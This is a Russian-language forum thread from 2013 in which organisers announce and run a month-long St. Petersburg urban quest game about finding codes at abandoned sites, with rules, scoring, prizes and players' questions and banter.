PDA

Просмотреть полную версию : 1000 и 1 баян


Страницы : [1] 2 3

DashИК
01-04-2013, 00:05
Статистика финальной игры "100(0) и 1 баян" (http://ct-p.spb.ru/reco/gameflow.php?game=2779).
Статистика месячной игры "100(0) и 1 баян". (http://deadline.en.cx/GameStat.aspx?gid=42112)
Сценарий "100(0) и 1 баяна". (http://deadline.en.cx/GameScenario.aspx?gid=42112)
Мониторинг "100(0) и 1 баяна". (http://deadline.en.cx/Administration/Games/ActionMonitor.aspx?gid=42112)

Как считалась финальная статистика за месяц:
- командам, взявшим 69 баян был назначен штраф 3 часа;
- всем командам было компенсировано время закрытия 1-го уровня (бонусом);
- командам, которые не вышли в финал был назначен штраф в 1 день;
- командам, которые вышли в финал назначен штраф, равный времени прохождению игры.


Анонс финальной игры!
Ну вот и подходит к концу наша месячная игра.
Как ни парадоксально, но велика вероятность того что за месяц игры победитель так и не будет назван (аж 11 из 18 команд претендуют на попадание в финал: Пешеезды, За всю хурму, Команда придурков, блеать!, Futurama SPb Team, Люди_X, Пакмэн, VКХ, psychos, Развоlution, K.E., Fantomas).
Поэтому в ночь с 17 на 18 мая мы проведем финальную игру, победитель которой станет победителем игры "100(0) и 1 баян".
Игра будет проводиться на движке City Project: ct-p.spb.ru (необходимо зарегистрироваться под оригинальным названием и подать заявку на игру).
Принять участие в финальной игре смогут ВСЕ желающие (не зависимо от того, играли они в основную часть или нет). Если команда не принимала участие в месячной игре, то ей необходимо на брифинг привезти 500 р. взноса.
Однако, чтобы отделить команды, играющие на победу, от играющих for fun, старт для этих групп будет раздельным.
Старт игры для команд, претендующих на победу, будет дан в 22-00, для всех остальных в 23-00.
Игра линейная.
В финальной игре от команды в поле могут играть 5 человек на 1 транспортном средстве (состав КЦ не ограничен, в движке действует мультилогин - все сидят под одной учеткой).
Организаторы будут отслеживать прохождение уровней командами, при подозрении в нечестной игре команды будут дисквалифицированы.
Зона игры - будет выдана в стартовой заглушке.
Время вечернего брифинга - 21.30 17.05.2013
Место вечернего брифинга - "Окей" на Ладожской.
Место утреннего брифинга - появится в финальной заглушке (в 7-10 минутах езды от места вечернего брифинга).

Напомним, что в зачете в финале участвуют команды, набравшие максимальное количество бонусного времени за месяц основной игры.
В финале побеждает команда, быстрее всех прошедшая все уровни.
В финальной игре будут выдаваться 10 последовательных загадок по 1 часу на выполнение (также фотографии мест) с ТРЕМЯ подсказками, приходящими через 15 (квадрат объекта), 30 минут (точные координаты объекта) и 45 минут (месторасположение кодов), соответственно. В финальной игре также необходимо приехать на объект и найти 3 кода (коды все - маркерные, с конечками).

Убедительная просьба ко всем участникам финальной игры - сообщите организаторам марку, номера и цвет машины, на которой вы планируете играть.

Список команд, которые будут бороться за 1-е место:
1) Люди_Х
2) Fantomas
3) Команда придурков, блеать!
4) psychos
5) Развоlution
6) Пешеезды
7) Futurama SPb Team
8) Пакмэн
9) К.Е.

Еще раз о призах )))
Призы
От нашего дорогого спонсора:
1 место - Компакт-диск СГ Содружество
2 место - Компакт-диск СитиГИД Две Столицы + 1 регион
3 место - Лицензия СитиГИД Две Столицы

От дружественного проекта:
1 место – одна бесплатная игра 10-го или 11-го сезона проекта City Project (vk.com/cityproject, ct-p.spb.ru)
2 место – скидка 50% на одну игру 10-го или 11-го сезона проекта City Project (vk.com/cityproject, ct-p.spb.ru)
3 место – скидка 30% на одну игру 10-го или 11-го сезона проекта City Project (vk.com/cityproject, ct-p.spb.ru)

От авторов:
1 место – 15% от взносов
2 место – 10% от взносов
3 место – 5% от взносов

Обсуждение игры проходит здесь:
http://vk.com/topic-10414916_28008654 - тема в группе "City Project"
http://vk.com/event51894106 - встреча по теме игры
http://dead-line.spb.ru/forum/showthread.php?t=6042 - обсуждение на форуме проекта DeadLine

Контакты организаторов:
Skype:
Punch1986 (Слава)
daria_gorban1303 (Даша)
Телефон:
+7 9II 755 58 85 (Даша)
+7 92I 983 92 9I (Слава)

http://d1.endata.cx/data/games/42112/%D1%81%D1%80_%D1%8132%D1%81%D0%B8%D1%82%D0%B8%D0%B 3%D0%B8%D0%B4%D0%BE%D0%BC.jpg



Анонс игры «100(0) и 1 баян»
Первая развлекательно-прогулочная игра по неформальным местам Петербурга «100(0) и 1 баян»!
Эта игра для имеющих опыт игр в разнообразные ночные квесты и для новичков, которые до этого ни разу с такими играми не сталкивались, но любят и хорошо знают наш город.

Игра
Игра пройдет с 15 апреля по 16 мая 2013 года. Вас ждет 101 задание: это фотографии разнообразных заброшенных, недостроенных, неиспользуемых и просто интересных объектов Питера, которые использовались в играх ночных экстремальных проектов за все 10 лет их существования. Вам необходимо будет понять, о каком объекте идет речь, ввести координаты на игровой странице, приехать на место, и найти три кода (для больших объектов – баллоном, для небольших – маркером).
Игровые задания будут выдаваться на сайте deadline.en.cx, по 3-4 задания в сутки.
Время выполнения задания учитываться не будет, то есть важно просто идентифицировать место и найти коды. Вы можете разгадывать места в будни, а в выходные гулять и искать коды.
В каждой команде могут участвовать не более 4 человек.

Техническая реализация
На странице игры вы найдете 32 уровня. Первый уровень - технический, в котором в течение всей игры будет находиться полезная информация по игре и контакты организаторов.
30 уровней соответствуют каждому дню проведения игры (с 15 апреля по 14 мая), а задания в них будут появляться в зависимости от этого дня (пример: задания уровня «30 апреля» вы сможете увидеть только 30 апреля и далее). При этом задания прошедших дней исчезать не будут и также будут доступны для разгадывания до конца игры. К времени выдачи заданий прибавлены 2 дня (15 и 16 мая), чтобы вы имели возможность спокойно погадать задания и поискать коды с заданий последних дней.
На каждом уровне вы увидите 12-16 «бонусов» - по числу загаданных в этот день объектов, умноженное на 4. Для выполнения первого бонуса вам необходимо ввести в поле «код» координаты загаданного объекта в формате «*градусыминутысекунды* широты *градусыминутысекунды* долготы» (вводить только то, что между звездочками, по 2 цифры на градусы, минуты и секунды, без пробелов, знаков препинания и иных символов – то есть только цифры, например код «600143302205»). Координаты объекта надо брать с ресурса http://wikimapia.org .
Для выполнения второго-четвертого бонуса вам необходимо приехать на объект и найти 3 кода в формате «С*цифрыбуквыцифры*P» (вводится в поле «код» на игровой странице только «цифрыбуквыцифры»).
Выполнение каждого бонуса даст Вам бонусное время в количестве 1 часа, то есть максимально возможное бонусное время будет составлять (100+1)*4 = 404 часов = 16 суток 20 часов.
К каждому объекту предусмотрено 4 штрафные подсказки. Взятие первой штрафной подсказки даст вам достаточно конкретный район поиска объекта. Взятие любой из остальных 3-х штрафных подсказок даст вам описание месторасположения кодов на объекте (одна подсказка = 1 код, коды на объектах и на игровой странице будут пронумерованы). Стоимость штрафной подсказки – 30 минут (то есть половина бонусного времени).

Определение победителя
Победителем игры становится та команда, которая наберет максимальное бонусное время. Время взятия заданий учитываться не будет, время прохождения игры учитываться не будет (то есть вы можете начать игру 5 мая, пройти все задания к 16 мая и выиграть/попасть в финальную игру). В случае если 2 и более команд наберут одинаковое максимальное количество бонусного времени, между ними в ночь 17-18 мая будет проведена финальная игра (32-й уровень). В финальной игре будут выдаваться 10 последовательных загадок по 1 часу на выполнение (также фотографии мест) с двумя подсказками, приходящими через 15 и 30 минут соответственно. В финальной игре также необходимо приехать на объект и найти коды.

Стоимость участия
Стоимость участия - 500 рублей с команды. Оплату надо сделать через яндекс-кошелек #410011776669273 с подтверждением оплаты с названием команды смской на номер +7 9II 755 58 85 (в Евросети принимают без комиссии).

грициан
01-04-2013, 00:14
Задротство 80 левела найти и прописать 1001 баян! Но круто, молодцы!

DEd_MONro
01-04-2013, 00:21
Давайте призы пожирнее за такое действо

Jaguar
01-04-2013, 00:53
дада, давайте покруче призы...

Jaguar
01-04-2013, 00:53
Даша и Слава - вы упорки!!!!!

Velkopiterskij
01-04-2013, 00:57
Нафига вам призы?

Ananke
01-04-2013, 00:58
я знаю место, которое изображено в анонсе :)

грициан
01-04-2013, 01:07
А какие координаты места из анонса были бы забиты в движке как верные? Оно ж гигантское и вариантов верных координат сотни.

Fomka
01-04-2013, 01:12
Я тоже знаю место из анонса, но оно не в зоне =(

Клёвая тема, почти "неделька", только "месяцок". Обязательно будем играть!

Grom
01-04-2013, 08:31
Могу поштабить :)

Jaguar
01-04-2013, 08:33
Нафига вам призы?

ну для стимула, чтобы катаца за кодиками.

Grom
01-04-2013, 09:01
ну для стимула, чтобы катаца за кодиками.

Для стимула всю эту тему запилили на ен.сх. И не прогадали, судя по кол-ву команд уже запиленных...

Ananke
01-04-2013, 09:04
возьмите меня кто-нибудь к себе :) Умею водить машину, искать коды, написанные баллоном :)

Jaguar
01-04-2013, 09:50
Для стимула всю эту тему запилили на ен.сх. И не прогадали, судя по кол-ву команд уже запиленных...

вот))

DashИК
01-04-2013, 10:29
А какие координаты места из анонса были бы забиты в движке как верные? Оно ж гигантское и вариантов верных координат сотни.

Спасибо за вопрос.
Все координаты объектов будут взяты с Викимапии (http://wikimapia.org).
Поскольку место из анонса загадано целиком, то верными координатами будут не координаты отдельных зданий, а координаты всего объекта - 54°26'29"N 13°34'35"E (http://wikimapia.org/1122650/ru/%D0%9F%D1%80%D0%BE%D1%80%D0%B0).

Sgushchenka
01-04-2013, 10:43
Мямямя

Grom
01-04-2013, 10:46
КО подсказывает, что сегодня 1.04 :blabla:

Heckfy
01-04-2013, 11:06
И не жалко было на анонс бабло тратить?

Grom
01-04-2013, 11:15
И не жалко было на анонс бабло тратить?

Так переименуют и перенесут под что нужно в будущем...две игры уже висят баластом так :)

DashИК
01-04-2013, 11:30
Так переименуют и перенесут под что нужно в будущем...две игры уже висят баластом так :)

Да ну, тратить деньги на некую игру в будущем... Скучно как-то.

Effa
01-04-2013, 11:38
Гром, да ну тебя!
Фомка 40 команд зарегать хотел!

КО также подсказывает, что при удалении игры до ее начала автор получает бабло назад, кстате.

DashИК
01-04-2013, 11:41
Мда... видимо неудачный день выбрали для анонса... говорила ж Панчу, что никто не поверит (((

meatgrinder
01-04-2013, 11:43
Ну завтра все узнаем, правда или нет.

DbSergey
01-04-2013, 11:48
Ну завтра все узнаем, правда или нет.

А кто сказал, что второго апреля надо раскрывать все приколы первого? )

Fomka
01-04-2013, 12:08
Надо срочно сдавать оргам деньги, чтобы они не смогли потом отказаться от проведения игры. Типа уже уплочено, ничего не знаю =)

El Red
01-04-2013, 12:32
Надо срочно сдавать оргам деньги, чтобы они не смогли потом отказаться от проведения игры. Типа уже уплочено, ничего не знаю =)
А это идея

DashИК
01-04-2013, 12:43
Надо срочно сдавать оргам деньги, чтобы они не смогли потом отказаться от проведения игры. Типа уже уплочено, ничего не знаю =)

Просьба к оплатившим командам - пишите, от кого поступили деньги, а то я не могу допустить вас к игре (.

Punch
02-04-2013, 09:38
Да, Даша, молодец, шутка удалась!
Всех с первым апреля!
А на самом деле мы увидели нехилый ажиотаж и интерес к такому формату, что очень приятно.
Поэтому в качестве искупления своих шуток мы все-таки проведем игру в таком формате!
Вот только анонс (и игру) мы сделаем чуть проще, а название оставим))

И очень надеемся что эта игра пройдет в формате битвы между участниками разных ночных проектов нашего города! Поэтому мы будем приглашать игроков Дозора, Дедлайна, City Project, TRG, EN (а почему бы и нет?) и многих других! Как сделать проектный зачет - мы еще подумаем))

Анонс игры «1000 и 1 боян»
Первая развлекательно-прогулочная игра по неформальным местам Петербурга «1000 и 1 боян»!
Эта игра для имеющих опыт игр в разнообразные ночные квесты и для новичков, которые до этого ни разу с такими играми не сталкивались, но любят и хорошо знают наш город.

Игра
Игра пройдет с 15 апреля по 16 мая 2013 года. Вас ждет 101 задание: это фотографии разнообразных заброшенных, недостроенных, неиспользуемых и просто интересных объектов Питера, которые использовались в играх ночных экстремальных проектов за все 10 лет их существования. Вам необходимо будет понять, о каком объекте идет речь, ввести координаты на игровой странице, приехать на место, и найти один код (для больших объектов – баллоном, для небольших – маркером).
Игровые задания будут выдаваться на сайте deadline.en.cx, по 3-4 задания в сутки.
Время выполнения задания учитываться не будет, то есть важно просто идентифицировать место и найти код. Вы можете разгадывать места в будни, а в выходные гулять и искать коды.
В каждой команде могут участвовать не более 4 человек.
Техническая реализация
На странице игры вы найдете 32 уровня. Первый уровень - технический, в котором в течение всей игры будет находиться полезная информация по игре и контакты организаторов.
30 уровней соответствуют каждому дню проведения игры (с 15 апреля по 14 мая), а задания в них будут появляться в зависимости от этого дня (пример: задания уровня «30 апреля» вы сможете увидеть только 30 апреля и далее). При этом задания прошедших дней исчезать не будут и также будут доступны для разгадывания до конца игры. К времени выдачи заданий прибавлены 2 дня (15 и 16 мая), чтобы вы имели возможность спокойно погадать задания и поискать коды с заданий последних дней.
На каждом уровне вы увидите 12-16 «бонусов» - по числу загаданных в этот день объектов, умноженное на 4. Для выполнения первого бонуса вам необходимо ввести в поле «код» координаты загаданного объекта в формате «*градусыминутысекунды* широты *градусыминутысекунды* долготы» (вводить только то, что между звездочками, по 2 цифры на градусы, минуты и секунды, без пробелов, знаков препинания и иных символов – то есть только цифры, например код «600143302205»). Координаты объекта надо брать с ресурса Wikimapia.org.
Для выполнения второго-четвертого бонуса вам необходимо приехать на объект и найти 3 кода в формате «С*цифрыбуквыцифры*P» (вводится в поле «код» на игровой странице только «цифрыбуквыцифры»).
Выполнение каждого бонуса даст Вам бонусное время в количестве 1 часа, то есть максимально возможное бонусное время будет составлять (100+1)*4 = 404 часов = 16 суток 20 часов.
К каждому объекту предусмотрено 4 штрафные подсказки. Взятие первой штрафной подсказки даст вам достаточно конкретный район поиска объекта. Взятие любой из остальных 3-х штрафных подсказок даст вам описание месторасположения кодов на объекте (одна подсказка = 1 код, коды на объектах и на игровой странице будут пронумерованы). Стоимость штрафной подсказки – 30 минут (то есть половина бонусного времени).

Определение победителя
Победителем игры становится та команда, которая наберет максимальное бонусное время. Время взятия заданий учитываться не будет, время прохождения игры учитываться не будет (то есть вы можете начать игру 5 мая, пройти все задания к 16 мая и выиграть/попасть в финальную игру). В случае если 2 и более команд наберут одинаковое максимальное количество бонусного времени, между ними в ночь 17-18 мая будет проведена финальная игра (32-й уровень). В финальной игре будут выдаваться 10 последовательных загадок по 1 часу на выполнение (также фотографии мест) с двумя подсказками, приходящими через 15 и 30 минут соответственно. В финальной игре также необходимо приехать на объект и найти коды.

Стоимость участия
Стоимость участия - 500 рублей с команды. Оплату надо сделать через яндекс-кошелек #410011776669273 с подтверждением оплаты с названием команды смской на номер +7 9II 755 58 85 (в Евросети принимают без комиссии).

Призы
1 место – 15% от взносов + одна бесплатная игра 10-го или 11-го сезона проекта City Project (vk.com/cityproject, ct-p.spb.ru)
2 место – 10% от взносов + скидка 50% на одну игру 10-го или 11-го сезона проекта City Project (vk.com/cityproject, ct-p.spb.ru)
3 место – 5% от взносов + скидка 30% на одну игру 10-го или 11-го сезона проекта City Project

Обсуждение игры проходит здесь:
vk.com/cityproject
dead-line.spb.ru/forum

Контакты организаторов:
Skype:
Punch1986 (Слава)
daria_gorban1303 (Даша)
Телефон:
+7 9II 755 58 85 (Даша)
+7 92I 983 92 9I (Слава)

miibus
02-04-2013, 09:48
недошутка или переанонс)

Jaguar
02-04-2013, 09:49
я то думал вы реально упоротые...а оказывается нет((

DashИК
02-04-2013, 10:20
ППО по мотива написанного Панчем.
Порадовала реакция некоторых людей на шутку, например:
"yyy: интересно, сколько народу реально повелось)
yyy: я верил минуты две, пока не стал просчитывать количество заданий в день на одного игрока)"

На самом деле на этой игре попробуем, если понравится, то есть мысль летом запилить игрушку "побольше и подальше".
А пока - записываемся и оплачиваем.
Да, если кому-то удобнее сдать деньги лично, то это можно будет сделать на брифе ДЛ.1 в эту пятницу.

DbSergey
02-04-2013, 11:50
Отличие только в том, что не 1001 баян, а 101?

Tvaruga
02-04-2013, 12:01
Как будет контролироваться количество игроков в команде?

КО для кодов?

Будут только конечки?

DashИК
02-04-2013, 12:01
Отличие только в том, что не 1001 баян, а 101?

Да. И в том, что на каждом объекте будет по 3 кода, а не по одному.

DashИК
02-04-2013, 12:04
Как будет контролироваться количество игроков в команде?


Только движок. Очевидно, что в течении месяца мы не сможем контролировать 101 баян города на предмет нахождения в нем игроков той или иной команды.
Ну и на финальную игру допускаются команды из 4 человек на 1 машине. Там уже будем контролировать.

КО для кодов?

КО1, 1+ (если не указано иное, что вряд ли).


Будут только конечки?
Будут просто финальные коды, в отдельных редких случаях будут направляшки.

грициан
02-04-2013, 12:22
Хочется, чтоб в заданиях было прописано чем написаны коды: баллон или маркер. А то понятие больших и небольших объектов может отличаться.

Pukkaras
02-04-2013, 13:47
Больше хотелось бы игру как делали в Вологде. Тобишь чтобы задания были не однотипные, приходили неожиданно и важна была бы скорость выполнения. Уж над разными техническими моментами можно долго размышлять, например считать время взятия не секундами, а часами, чтобы расстояния играли меньшую роль. Или например считать не время, а баллы. Тобишь взял уровень первым - получил 10баллов, вторым 9 итп, тобишь флаги.
Курить фотки и кататься по расписанию по говнодомикам собирая кодюли мало интересного.

DashИК
02-04-2013, 13:51
Больше хотелось бы игру как делали в Вологде. Тобишь чтобы задания были не однотипные, приходили неожиданно и важна была бы скорость выполнения.

Миш, не хочешь - не играй.
Хочешь сделать игру как в Вологде - делай.
Игра, которую делаем мы рассчитана на людей, которые недолго играют в разные проекты, и которым интересно просто погулять по забросам. Понятно, что игроков, которые за 2 выходных умудряются поиграть в 3-4 проекта, предложенный нами формат может не заинтересовать.
И да, спасибо, нам очень важно мнение каждого )

DashИК
02-04-2013, 13:54
Хочется, чтоб в заданиях было прописано чем написаны коды: баллон или маркер. А то понятие больших и небольших объектов может отличаться.

Спасибо, пожелание учтем.

Punch
02-04-2013, 13:59
Отличие только в том, что не 1001 баян, а 101?

Серега, не только. Зона игры - внутри КАД, кроме 1 локации (ранее была Ленобласть и Питер). Далее, на локации не по 1 коду, а по 3. Вот, наверное, принципиальные отличия.

Как будет контролироваться количество игроков в команде?
КО для кодов?
Будут только конечки?

Ваня, Даша уже расписала. Позвоню тебе в ближайшие 2 часа, отвечу на вчерашний вопрос.
Конечки и направляшки только там, где нужно
По КО, как написала Даша, трешек и двоек будет очень мало и все отличные от единицы КО будут написаны в движке)

Хочется, чтоб в заданиях было прописано чем написаны коды: баллон или маркер. А то понятие больших и небольших объектов может отличаться.

Думаю, это легко сделать, спасибо за совет! Но, на ЖБИ во Мге я бы писал баллоном))

Больше хотелось бы игру как делали в Вологде. Тобишь чтобы задания были не однотипные, приходили неожиданно и важна была бы скорость выполнения. Уж над разными техническими моментами можно долго размышлять, например считать время взятия не секундами, а часами, чтобы расстояния играли меньшую роль. Или например считать не время, а баллы. Тобишь взял уровень первым - получил 10баллов, вторым 9 итп, тобишь флаги.
Курить фотки и кататься по расписанию по говнодомикам собирая кодюли мало интересного.

Миш, так что ж тебя останавливает!:D
Но здесь мы, боюсь, саму концепцию игры уже не поменяем. Тем более, что я пока не вижу сакрального смысла того, чтобы 4 человека 24 часа в сутки жамкали F5 в течение месяца. Но можем об этом порассуждать...

Punch
02-04-2013, 14:01
Спасибо, пожелание учтем.

блин, я опаздываю, как всегда) все, пусть даша отвечает))

F1-scher
02-04-2013, 14:08
Есть вопрос относительно движка и количества игроков в команде, в этой игре могут участвовать 4 игрока, но во время этого месяца команда может участвовать в других играх, в которых в состав команды меняется, и например в составе становится 5 человек. Вопрос заключается в том, что позволит ли движок добавлять 5 игрока для других игр, и вообще редактировать состав команды, при этом участвуя в вашей игре (и почему не разрешить 5 игроков в команде?)

Velkopiterskij
02-04-2013, 14:12
Есть вопрос относительно движка и количества игроков в команде, в этой игре могут участвовать 4 игрока, но во время этого месяца команда может участвовать в других играх, в которых в состав команды меняется, и например в составе становится 5 человек. Вопрос заключается в том, что позволит ли движок добавлять 5 игрока для других игр, и вообще редактировать состав команды, при этом участвуя в вашей игре (и почему не разрешить 5 игроков в команде?)

Движок позволит добавлять в команду 5 и более человек. Просто движок с таким активным составом не пустит в эту игру. Но если вы в этот момент играете во что-то другое, вряд ли вам это помешает)

DashИК
02-04-2013, 14:18
Есть вопрос относительно движка и количества игроков в команде, в этой игре могут участвовать 4 игрока, но во время этого месяца команда может участвовать в других играх, в которых в состав команды меняется, и например в составе становится 5 человек. Вопрос заключается в том, что позволит ли движок добавлять 5 игрока для других игр, и вообще редактировать состав команды, при этом участвуя в вашей игре (и почему не разрешить 5 игроков в команде?)

Велко выше уже ответил про особенности движка.
Про составы - да, они могут меняться в течении игры - думаю, что мало кто может планировать свое время на полтора месяца вперед.
Если вы постоянно играете в разные игры, и состав команды меняется, то возможно стоит запилить на нашу игру новую команду, количество человек в которой будет постоянно не больше 4, благо на енке послужной считает по тому, в какие игры сыграл, без особой привязки к команде.

Pukkaras
02-04-2013, 18:06
http://game.en.cx/GameDetails.aspx?gid=38332 Жаль, что вы не такую игрушку делаете, классный формат!
и не надо мне предлагать сделать, я не улавливаю зачем вы мне это не предлагаете, если я играть в такое хочу, а не делать.

RAVE
02-04-2013, 18:12
Миша, это, как минимум, неуважительно по отношению к организаторам данной игры.

DashИК
02-04-2013, 18:22
http://game.en.cx/GameDetails.aspx?gid=38332 Жаль, что вы не такую игрушку делаете, классный формат!
и не надо мне предлагать сделать, я не улавливаю зачем вы мне это не предлагаете, если я играть в такое хочу, а не делать.

Миша, нам искренне жаль, что мы заставили тебя сожалеть о том, что наша игра сделана в другом формате. Больше мы не будем предлагать тебе сделать то, во что тебе интересно было бы играть. Со своей стороны, чтобы не жалеть о том, что мы не делаем то, во что хотим играть, мы сделали игру с таком формате, в котором мы бы хотели в нее играть, а не жалеть о том, что не удалось в нее поиграть.

Кстати, не совсем поняла, какой смысл кидать ссылку на игру, сценарий которой доступен только для участников.

Grom
02-04-2013, 18:24
Михаил умеет удивлять! :)

Effa
02-04-2013, 18:27
Есть мнение, что проще сделать игру, чем убедить Мишу не просить ее делать :D

Sgushchenka
02-04-2013, 18:38
а я томат...

Го
02-04-2013, 18:43
Сгущеная томатная паста.

Ol4ik
02-04-2013, 19:30
Мишенька, будь последователен :) другим пишешь такое (http://http://dead-line.spb.ru/forum/showpost.php?p=261522&postcount=78), так и сам тогда свое мнение засунь куда-нибудь, тем более в ситуации, когда тебя не спрашивают ;)

Clinique
02-04-2013, 19:41
Это новая фича мнение всем засосывать ?)

Pukkaras
02-04-2013, 20:00
Мишенька, будь последователен :) другим пишешь такое (http://http://dead-line.spb.ru/forum/showpost.php?p=261522&postcount=78), так и сам тогда свое мнение засунь куда-нибудь, тем более в ситуации, когда тебя не спрашивают ;)
я вполне последователен. В том сообщении я лишь хотел поинтересоваться почему твое мнение на тему термина "тренька" обсуждают, если продолжать быть последовательным, то мы не найдем в том моем посте предложений, например, не обсуждать твое мнение и в подтверждению к моим словам в той теме есть следующие мои посты.

Короче я оргов прошу воспринимать мой отзыв именно как отзыв и пожелание.
Слава, спасибо за ответ. Чтобы Ф5 не жать можно придумать разные схемы, например емейл на почту кэпу об обвнолении двига.

Если кого сценарий заинтересует, не проблема попросить Янеса его открыть или скинуть. я вообщем то на описание, обсуждении и оценки игры ссыль кидал.

El Red
03-04-2013, 18:58
вот парадокс: описание формата я понял, а в смысл последних комментов вообще никак въехать не могу)

S3T
03-04-2013, 18:59
вот парадокс: описание формата я понял, а в смысл последних комментов вообще никак въехать не могу)

это такая ПМ ))))))) сломай моск по вторникам)))

Clinique
03-04-2013, 19:04
это такая ПМ ))))))) сломай моск по вторникам)))

сегодня среда )

Rada
03-04-2013, 19:31
сегодня среда )
это у кого как)

DashИК
09-04-2013, 11:41
Хочется напомнить командам о необходимости оплаты игры.
Положить деньги на Яндекс кошелек без комиссии можно у любом отделении Евросети (приходите, называете номер кошелька и отдаете 500 рэ), после чего сообщаете о произведенной оплате (можно в данной теме, можно смс-кой или в скайпе).

McLuck
09-04-2013, 12:08
Со дня на день..

Grom
15-04-2013, 09:06
В первом уровне загадка или....?

DashИК
15-04-2013, 10:19
В первом уровне загадка или....?
В первом уровне общая инфа, дальше тех. уровень, он вам пока не нужен. Гадать можно то, где стоит дата 15 апреля)))

Grom
15-04-2013, 10:22
Я очень тонко на намекал на это:
Последовательность прохождения: Линейная

:rolleyes:

грициан
15-04-2013, 11:06
Я очень тонко на намекал на это:

:rolleyes:

Lol

DashИК
15-04-2013, 11:06
Я очень тонко на намекал на это:

:rolleyes:

Как-то очень тонко... В данном случае это не сильно принципиально.

DashИК
15-04-2013, 11:07
И да, проверяйте, всех ли добавила из тех, кто стучался.

грициан
15-04-2013, 11:09
Как-то очень тонко... В данном случае это не сильно принципиально.

Гром намекнул, что не пройдя первые 2 уровня в движке до заданий 15 апреля не добраться)

Grom
15-04-2013, 11:09
Как-то очень тонко... В данном случае это не сильно принципиально.
Получилось даже еще тоньше, чем хотел...:confused:

tigrro4ka
15-04-2013, 11:20
Ааа, это, значит, не у меня какой-то косяк с движком )))

DashИК
15-04-2013, 11:22
Нет, это у меня косяк с движком :(
Начало игры перенесено на завтра по причине того, что я лошара )))
Сейчас запилю новую игру, так что будет возможность зарегистрироваться.
И да, я в курсе, что "бывает хуже, но реже", желающие могут пошутить на тему.

DEd_MONro
15-04-2013, 11:28
http://s.pikabu.ru/post_img/2013/04/14/5/1365917426_1023684261.jpg

DashИК
15-04-2013, 11:37
Спасибо, Монроша )
А теперь дружненько регистрируемся на новую игру.
И ждем завтра.
И да, я тоже надеюсь, что это будет единственный эпикфейл на игре.

tigrro4ka
15-04-2013, 11:49
Чорт, я уже викимапио открыла и чай с шоколадкой приготовила (((

Jaguar
15-04-2013, 12:23
Чорт, я уже викимапио открыла и чай с шоколадкой приготовила (((

делись шоколадкой)

tigrro4ka
15-04-2013, 12:56
делись шоколадкой)

пф, ты б еще попозже попросил! нету ее!

Deneb
15-04-2013, 15:59
http://s.pikabu.ru/post_img/2013/04/14/5/1365917426_1023684261.jpg

https://vk.com/photo-29805994_270079107?tag=646732

DEd_MONro
15-04-2013, 18:31
https://vk.com/photo-29805994_270079107?tag=646732

ффф точку

DEd_MONro
16-04-2013, 00:43
Впишусь в какую нить команду погонять

DashИК
16-04-2013, 10:59
Для тех, кто отгадал места и планируют поездку - на многих локах очень сыро, берцы спасают, но не всегда, так что берите с собой сапоги на всякий случай.

miibus
16-04-2013, 11:04
а как бы так сделать, чтобы картинки не пропадали, когда коорды вбиваешь)

Grom
16-04-2013, 11:05
Без тонких намеков:
Уровень 4, бонус 8 - время выдачи на день позже других. Так и должно быть?

И не картинки, а текст с описанием кодюдь не пропадал...

Jaguar
16-04-2013, 11:13
Для тех, кто отгадал места и планируют поездку - на многих локах очень сыро, берцы спасают, но не всегда, так что берите с собой сапоги на всякий случай.

зануды)

DashИК
16-04-2013, 11:26
Без тонких намеков:
Уровень 4, бонус 8 - время выдачи на день позже других. Так и должно быть?
Поправила, спс. +1 к наблюдательности )


И не картинки, а текст с описанием кодюдь не пропадал...
Текст с описанием остается (фапни, должен появиться).
В принципе можно оставить и картинки, если они вам нужны.

DashИК
16-04-2013, 11:27
зануды)

По мне с мокрыми ногами что-либо искать не айс, а сейчас снег везде растаял, лужи, красотень )

грициан
16-04-2013, 11:31
А по пятницам будет по 4 задания?

Punch
16-04-2013, 11:32
а как бы так сделать, чтобы картинки не пропадали, когда коорды вбиваешь)

Тогда мы нафиг займем все место на серваках Энки))

А зачем тебе картинки? Там коорды и инфа по кодам дублируются в подсказке....

DashИК
16-04-2013, 11:32
А по пятницам будет по 4 задания?

Да, в пт и праздничные дни будет приходить по 4 задания, чтобы на выходных была возможность покататься побольше.

DashИК
16-04-2013, 11:33
Тогда мы нафиг займем все место на серваках Энки))

Только ради этого стоит продублировать картинки )

а как бы так сделать, чтобы картинки не пропадали, когда коорды вбиваешь)

Сделала картинки, подумалось, что новичкам они могут реально помочь сориентироваться на месте, да и не только новичкам.

Tvaruga
16-04-2013, 11:49
Только ради этого стоит продублировать картинки )



Сделала картинки, подумалось, что новичкам они могут реально помочь сориентироваться на месте, да и не только новичкам.

сделайте ссылки на картинке при закрытии бонуса. так они на фиг не нужны. А если сидеть с телефона еще и время загрузки жрут и трафик

Punch
16-04-2013, 11:54
сделайте ссылки на картинке при закрытии бонуса. так они на фиг не нужны. А если сидеть с телефона еще и время загрузки жрут и трафик

А ваня-то прав... щас попилим))

DashИК
16-04-2013, 12:06
А ваня-то прав... щас попилим))

Доне

DashИК
16-04-2013, 23:21
Статистика (http://deadline.en.cx/GameBonusPenaltyTime.aspx?tid=0&level=0&type=Unknown&ctl04.x=26&ctl04.y=6&gid=42112) для желающих.

DEd_MONro
17-04-2013, 13:35
добавьте закрывающие коды для уровней и статистика нормальная будет

Punch
17-04-2013, 14:11
добавьте закрывающие коды для уровней и статистика нормальная будет

Ну это да, мы думали об этом. Но есть маленькое "но": если придет новая команда (или человек), ни разу не работавшая с этим движком, есть риск что уровень она закроет до того, как возьмет бонусы этого уровня

Grom
17-04-2013, 14:15
Есть риск что они ни одного кода не найдут или ни одного баяна не отгадают...закрывашки можно в отдельном тех.уровне все списком и все. Или типа кодюлю стандартную "я_хочу_закрыть_уровень_N" и все - кто знает и понимает зачем - вобьет.

MiX
17-04-2013, 14:20
А не проще добавить закрывашку только на 1 уровень, который заглушка? Текстовка не пропадет, уровень закроется, все рады, щасливы, машут флагами, приветственно орут.

Punch
17-04-2013, 15:09
А не проще добавить закрывашку только на 1 уровень, который заглушка? Текстовка не пропадет, уровень закроется, все рады, щасливы, машут флагами, приветственно орут.

И добавить еще один такой же уровень с инфой (чтобы не пропала) сразу после первого уровня?

DashИК
17-04-2013, 15:32
"Уважаемые игроки, вбив код "Оргипредоставляютвамвозможностьпосмотретьстату)" или "Оргипросяткомандывбитьданныйкодчтобыувсехбылавозмо жностьпосмотретьстату" - в поле ответа уровня "Общая информация" - вы сможете закрыть данный уровень, получив, таким образом доступ к статистике." - наслаждайтесь, зануды :p
И еще раз напоминаю - формат кода "цифрысловоцифры", "слово" - это как правило не случайное сочетание букв.
